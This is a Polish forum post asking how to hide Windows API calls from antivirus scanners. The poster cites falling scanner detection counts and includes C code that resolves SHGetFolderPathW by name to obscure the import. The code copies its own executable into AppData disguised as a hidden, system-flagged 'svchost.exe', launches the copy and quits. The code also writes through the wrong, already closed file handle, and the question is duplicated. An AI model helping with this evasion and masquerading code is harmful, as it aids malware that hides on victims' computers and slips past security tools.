Cześć!
Jak ukryć funkcje żeby antywirus o niej nie wiedział?
Znalazłem http://www.p-programowanie.pl/cpp/ukrywanie-funkcji-winapi/ ale to nie zmiesza całkowicie wykrywalności( w moim przypadku z 9/41 spada do 2/35).
Tych static tak dużo ,bo w czystym C nie można wrzucić zwykłej zmiennej do funkcji.
Jak ukryć funkcje żeby antywirus o niej nie wiedział?
Znalazłem http://www.p-programowanie.pl/cpp/ukrywanie-funkcji-winapi/ ale to nie zmiesza całkowicie wykrywalności( w moim przypadku z 9/41 spada do 2/35).
Tych static tak dużo ,bo w czystym C nie można wrzucić zwykłej zmiennej do funkcji.
Kod:
void Copy(void)
{
static wchar_t newDirectory[MAX_PATH] = L"\0";
static wchar_t oldDirectory[MAX_PATH] = L"\0";
const char function[] = "SHGetFolderPathW";!
const char library[] = "Shell32.dll";
static HANDLE hFile;
static HANDLE hNewFile;
static DWORD dwSize;
static DWORD dwRead;
static DWORD dwSaved;
static wchar_t *File;
static PROCESS_INFORMATION pi;
static STARTUPINFO si;
typedef HRESULT (WINAPI *__SHGetFolderPath)
(
_In_ HWND hwndOwner,
_In_ int nFolder,
_In_ HANDLE hToken,
_In_ DWORD dwFlags,
_Out_ LPWSTR pszPath
);
__SHGetFolderPath patH = (__SHGetFolderPath)GetProcAddress(GetModuleHandleA(library), function);
patH(0, CSIDL_LOCAL_APPDATA, 0, 0, newDirectory);
wcscat(newDirectory, L"\\svchost.exe");
GetModuleFileName(0, oldDirectory, MAX_PATH);
if(wcscmp(oldDirectory, newDirectory)!=0)
{
hFile = CreateFile(oldDirectory, GENERIC_READ, FILE_SHARE_READ|FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, 0);
dwSize = GetFileSize(hFile, 0);
File = (wchar_t*)malloc(dwSize);
ReadFile(hFile, File, dwSize, &dwRead, 0);
CloseHandle(hFile);
hNewFile = CreateFile(newDirectory, GENERIC_WRITE, 0, 0, CREATE_ALWAYS,
FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM, 0);
WriteFile( hFile, File, dwSize, &dwSaved, 0);
CloseHandle(hNewFile);
free(File);
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
CreateProcess(newDirectory, 0, 0, 0, 0, 0, 0, 0, &si, &pi);
PostQuitMessage(0);
}
return;
}